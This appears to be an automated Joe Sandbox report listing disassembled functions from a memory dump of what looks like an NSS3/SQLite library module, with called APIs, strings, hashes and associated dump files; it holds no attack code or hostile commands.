API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 231267e74e44f7f89e0b1ec98a7d7b6f1f3836cdd63fc5fe74163871bfb4f554
Instruction ID: b0f0a6d6507ce0822123b77666430595a45d13287f37c90f980e570015f0b0e7
Opcode Fuzzy Hash: 231267e74e44f7f89e0b1ec98a7d7b6f1f3836cdd63fc5fe74163871bfb4f554
Instruction Fuzzy Hash: 3801D163B0401057E721916CAC81AEB31A98B8765CB081832E905D7B03F612DD0A53BF

Function 6C76BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDC3
free.MOZGLUE(?,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDE9
free.MOZGLUE(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BE21
free.MOZGLUE(00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BE32

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 43b05599a3c1ef563b83f3af3a06bcb398519d3c1721ccb39cadfe9b728cb1fc
Instruction ID: b6e7f34cc01f88f351e89264c6e337c8fbfc3b7859e664e9f1e51378a43c23b4
Opcode Fuzzy Hash: 43b05599a3c1ef563b83f3af3a06bcb398519d3c1721ccb39cadfe9b728cb1fc
Instruction Fuzzy Hash: 2A1103B5B062009FDF40DFA9D94DF063BB9FB4B355B540479E90A8B710E732A414CBA9

Function 6C767C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C767C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767C83
malloc.MOZGLUE(00000001), ref: 6C767C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C767C9F
PR_GetCurrentThread.NSS3 ref: 6C767CAD

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: a83f792f8058ba336577480eafa75aceb228ffa350e434f95768ee21d9b9b296
Instruction ID: 55013d471de04fbbf3c3cc5b27fd1429d8b156b3f47d55ddf02db3cde86ef1b8
Opcode Fuzzy Hash: a83f792f8058ba336577480eafa75aceb228ffa350e434f95768ee21d9b9b296
Instruction Fuzzy Hash: A5F0A9B19202066BEB009F7BAE0D95B7B5CEF003A9B118436EC09C7F00EB31E1148AE5

Function 6C76ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C76A6D8), ref: 6C76AE0D
free.MOZGLUE(?), ref: 6C76AE14
DeleteCriticalSection.KERNEL32(6C76A6D8), ref: 6C76AE36
free.MOZGLUE(?), ref: 6C76AE3D
free.MOZGLUE(00000000,00000000,?,?,6C76A6D8), ref: 6C76AE47

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 243c92dab784e6befa0d547a871002f5b3916953c033f895308ce214ee234fb1
Instruction ID: 983031f6d4509241d45d1f960aa9bd84e9e3b11a0944075347a97426d1cb2ee9
Opcode Fuzzy Hash: 243c92dab784e6befa0d547a871002f5b3916953c033f895308ce214ee234fb1
Instruction Fuzzy Hash: FAF06275201A01A7CB109FE9A909A5BB7BCBE86776B14033DF52A83940D733E115C7D5

Function 6C5EBCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C5EBE37

Strings

winFileSize, xrefs: 6C5EBF07
vl, xrefs: 6C5EBDD7
Pvl, xrefs: 6C5EBED4

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: vl$Pvl$winFileSize
API String ID: 4246442610-3168198568
Opcode ID: c1f3bc3ee6e21af8016f503c08e3520dd2f5dbe2bf6622b929b924bb4b07cbb3
Instruction ID: 4303061a4f6f9530fd95a8c6fae09a8e2390a215f0e5ae3d3284b0bfec010f18
Opcode Fuzzy Hash: c1f3bc3ee6e21af8016f503c08e3520dd2f5dbe2bf6622b929b924bb4b07cbb3
Instruction Fuzzy Hash: 7B61DF31A00709EFCB04DF68CA90BA9B7B2FF4E315B148AA5D8158BB40D730E915CBD9

Function 6C5F7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F7D35

Strings

database corruption, xrefs: 6C5F7D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F7D13, 6C5F7D1F, 6C5F7D47, 6C5F7D53, 6C5F7D5F
%s at line %d of [%.10s], xrefs: 6C5F7D2E

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 68d79777ebd6a47b3522be0979960b9e4793b1a31125216d18f31d617598ca92
Instruction ID: 9692598d2856882204f7f34f80f52ace2fd9cb4a47b7b98f9c376a209d15bcad
Opcode Fuzzy Hash: 68d79777ebd6a47b3522be0979960b9e4793b1a31125216d18f31d617598ca92
Instruction Fuzzy Hash: 11312431E0422997C714CF9ECC809BEB7F2AF88349B9905A6E454B7B81D270D942CBB4

Function 6C5E6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C5E6D36

Strings

database corruption, xrefs: 6C5E6D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E6D20
%s at line %d of [%.10s], xrefs: 6C5E6D2F

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: c0aa487ee763cd2bd640883830c0855e87095a1cb2144af31a345720d6865043
Instruction ID: 01f5a6f30449fb530ca37fed9af45b4eb1f5c6752c8e452fea636bfcae6c1a73
Opcode Fuzzy Hash: c0aa487ee763cd2bd640883830c0855e87095a1cb2144af31a345720d6865043
Instruction Fuzzy Hash: 392102306003089BC710CE19DE41B5AB7F2AF89358F944928D9499BF51EB70F9448792

Function 6C6C2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+ll,6C6C32C2,<+ll,00000000,00000000,?), ref: 6C6C2FDA

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C6C300B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C6C302A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

Part of subcall function 6C69C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C69C45D
Part of subcall function 6C69C3D0: TlsGetValue.KERNEL32 ref: 6C69C494
Part of subcall function 6C69C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C69C4A9
Part of subcall function 6C69C3D0: PR_Unlock.NSS3(?), ref: 6C69C4F4

Strings

<+ll, xrefs: 6C6C2FD0

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+ll
API String ID: 2538134263-585971932
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 08c3ec7488ff4fcb7fbc5c9e0b2511f31f88e835bcccc32bdd6f841ed9e3f57d
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 341191B7B001087BDB008E65AC01ADB7799AB85668F184134E91CD7781E772E915CBAA

Function 6C71CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C71CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C71CC7B), ref: 6C71CD7A
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CD8E
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CDA5
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C71CCB5
memcpy.VCRUNTIME140(6C7B14F4,6C7B02AC,00000090), ref: 6C71CCD3
memcpy.VCRUNTIME140(6C7B1588,6C7B02AC,00000090), ref: 6C71CD2B

Part of subcall function 6C639AC0: socket.WSOCK32(?,00000017,6C6399BE), ref: 6C639AE6
Part of subcall function 6C639AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C6399BE), ref: 6C639AFC

Part of subcall function 6C640590: closesocket.WSOCK32(6C639A8F,?,?,6C639A8F,00000000), ref: 6C640597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C71CCB0

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: a64268c6135f0c131e18d250f6f1086ecceb39cf6f76b21ed6f6a589318c86b1
Instruction ID: 419e6e5ce73e2ad56d374f49fec9405ca730182d024fe314feaa993c9f763504
Opcode Fuzzy Hash: a64268c6135f0c131e18d250f6f1086ecceb39cf6f76b21ed6f6a589318c86b1
Instruction Fuzzy Hash: D01181F2B042405FDB409F6A8F0BF827AA89B46358F145439E91ADBF41E771D4088BED

Function 6C5E7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E81DF
LeaveCriticalSection.KERNEL32(?), ref: 6C5E8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5E8255
sqlite3_free.NSS3(00000000), ref: 6C5E8260

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 0ad41ba2e9f646be88ca0021ec56144785fe2b08733e8b3a33787485abacdc33
Instruction ID: 991f117061fa5bcddf6c766490e48e03eb6067624f3d085b5179728fab7c4b82
Opcode Fuzzy Hash: 0ad41ba2e9f646be88ca0021ec56144785fe2b08733e8b3a33787485abacdc33
Instruction Fuzzy Hash: E0916E71A01608DFEB08DFE9EC58BADB7B1BF0A304F24013AD4169BA50DB356955CB82

Function 6C6C1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C1D8F

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6C1DA6

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C6C1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6C1ED0

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 22f767f7323e94c9d56a2fe2b543216d11e3b605790b66514346c7d153ccce7b
Instruction ID: 2bd60b362b9b0f4d06faab32dec7c60749b0ebac31cb7bd5d2459586a6fbcc65
Opcode Fuzzy Hash: 22f767f7323e94c9d56a2fe2b543216d11e3b605790b66514346c7d153ccce7b
Instruction Fuzzy Hash: D4516875A00309DFDB04CF98D884BAEBBB6FF49308F144129E819AB750D731E946CB96

Function 6C714FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C5F85D2,00000000,?,?), ref: 6C714FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C71500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7150C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7150D6

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 09ce54a638db0e38035536cdf5385927dfb65360eb984d7498b826129ac26af6
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: A5417FB2A402158FCB18CF68DCD179AB7E1BF4431871D466DD84ACBB02E375E891CB91

Function 6C63FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C63FDFE), ref: 6C63FFAD

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C63FDFE), ref: 6C63FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C63FDFE), ref: 6C64001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C63FDFE), ref: 6C64006F

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: e30cd32c35d927134a2311d8405fd7a62d77e7e43c37cc05b46cfea4ab08b755
Instruction ID: 79e68347ddbe3d2b80ff4901abe74d68af5ad0ac8a495f7d8bef17966de0e5f4
Opcode Fuzzy Hash: e30cd32c35d927134a2311d8405fd7a62d77e7e43c37cc05b46cfea4ab08b755
Instruction Fuzzy Hash: F341DE71B002299BDB08DFA5E899AAE7775FF4A705F14803DD80693B00DB35A911CBA9

Function 6C727DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C727ED8

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 7f0eadcb3e7eaf2cd610507a4b3348d7d9b8bc550013edd262e1bd617d8e30dc
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: B831A6B1E001158FD704CF09CE9599AB7A6FF8831471A817ACC585BB12EB75EC45CBE1

Function 6C6DDF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
